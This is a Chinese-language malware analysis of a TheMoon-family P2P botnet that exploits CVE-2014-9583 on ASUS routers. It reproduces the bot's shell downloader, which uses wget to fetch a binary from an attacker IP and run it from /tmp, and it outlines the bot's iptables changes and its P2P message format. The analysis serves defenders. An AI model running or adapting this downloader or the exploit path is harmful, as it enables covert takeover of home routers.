詳解感染華碩路由器的P2P僵尸網(wǎng)絡(luò)程序

僵尸網(wǎng)絡(luò)是指采用一種或多種傳播手段,是指實現(xiàn)惡意控制功能的程序代碼,在控制者和被感染主機之間所形成的一個可一對多控制的網(wǎng)絡(luò)。
下圖是利用wireshark抓包捕獲的僵尸程序攻擊流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代碼。
CVE-2014-9583 :ASUS WRT是華碩(ASUS)公司的一個路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,該漏洞源于程序沒有正確檢查請求的MAC地址。遠程攻擊者可通過向UDP 9999端口發(fā)送NET_CMD_ID_MANU_CMD數(shù)據(jù)包利用該漏洞繞過身份驗證,執(zhí)行任意命令。詳情參見GitHub
以下是bot從網(wǎng)站http://78.128.92.137:80/ 自動下載的nmlt1.sh文件內(nèi)容
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1
chmod +x .nttpd
./.nttpd
路由器將會從攻擊者控制的網(wǎng)站上自動下載并執(zhí)行.nttpd文件,.nttpd運行后將成為駐留進程。以下為.nttpd文件哈希信息
該bot程序?qū)儆赥heMoon惡意軟件系列,程序結(jié)構(gòu)如下:
該bot程序主要不同在于os_init和 run_modules函數(shù),os_init中插入了8個iptables規(guī)則:
為了獲得感染設(shè)備的絕對控制權(quán),防止反復(fù)感染,其中第一條規(guī)則通過關(guān)閉端口9999,阻止其它攻擊者利用華碩CVE-2014-9583漏洞;第二條規(guī)則是關(guān)閉多個端口,阻止其它攻擊者利用D-Link的一個遠程命令執(zhí)行漏洞。其余為bot程序建立的網(wǎng)絡(luò)通信規(guī)則。
在run_modules中,bot加載了3個模塊:CLK 、NET、DWL,我們依次來做分析:
CLK模塊
該模塊加載了兩個線程,一個用來計時,一個用來同步,它通過查詢公開NTP服務(wù)器保持UTC時間。抓包發(fā)現(xiàn)bot與NTP服務(wù)器之間的請求回應(yīng)流量
Net模塊
該模塊開啟了UDP 5143端口,并創(chuàng)建了一個P2P通信線程。值得注意的是,與通常的端口通信不同,該bot程序支持3種不特定的消息類型。
Register message
RegisterTo message
FetchCommand message
每種類型都包含相同的頭結(jié)構(gòu):
Offset Size Description
0 1 Body length
1 1 Message Type
2 1 TTL
3 1 0x8F (variant specific)
當(dāng)bot接收到消息時,TTL值以1遞減,并把消息轉(zhuǎn)發(fā)給其它對等結(jié)點(peer),下圖為向其它peer節(jié)點轉(zhuǎn)發(fā)消息的底層代碼
相關(guān)文章
- WIFI為了防止別人蹭網(wǎng).要經(jīng)常的修改密碼2015-05-12
如何破解無線路由密碼 破解無線路由密碼蹭網(wǎng)的詳細圖文步驟
我住的小區(qū)可搜索到幾個無線網(wǎng)絡(luò),信號都很弱,有一個沒有密碼,但是很少能連上。2015-05-13電信光纖貓與TP-LINK無線路由器連接設(shè)置向?qū)D文詳細介紹
首先,由于HG330和TP-Link路由器默認地址都是192.168.1.1,需要將臺式機的網(wǎng)線直接連接到TP-Link路由器的LAN接口,然后在瀏覽器中鍵入192.168.1.1,輸入用戶名和密碼(默認2013-09-01- 在我們常用的Windows XP操作系統(tǒng)中,系統(tǒng)默認的MTU值為1500,這是一個標(biāo)準(zhǔn)以太網(wǎng)的設(shè)置值,并不適合寬帶網(wǎng)絡(luò)2012-11-14
- 很多朋友會把自己的wifi密碼給忘記了,今天小編就為大家?guī)硪粋€簡單的方法,既不用進入路由器查看,也不需要下載密碼查看器,只需使用windows系統(tǒng)的自帶功能即可,下面就2014-12-23
- 今天朋友入手了一款華為無線路由器,找我給幫忙設(shè)置下,通過參考下面的圖文方法順利解決,特分享一下,方便需要的朋友2012-10-15
用一根網(wǎng)線連接2個路由器或設(shè)置多個路由器的方法
本文為大家介紹兩種可以用一根網(wǎng)線連接2個或多個路由器的方法,雖然用一根網(wǎng)線連接2個或多個路由器的方法不止兩個,但是小編覺得這兩種方法是最好用最簡單的,一起來看看吧2014-02-15- 我的電腦密碼丟失有的時候重新安裝系統(tǒng)就可以,但ADSL撥號密碼忘記了還得拿自己的證件到運營商那里去處理,那么寬帶連接密碼忘記了怎么辦?下面小編就為大家介紹查看寬帶密2015-02-09
- 我不小心把家里的路由器恢復(fù)了出廠設(shè)置,然后再連接的時候,發(fā)現(xiàn)連接不了網(wǎng)絡(luò)了。不通過路由器可以直接用寬帶連接2012-11-06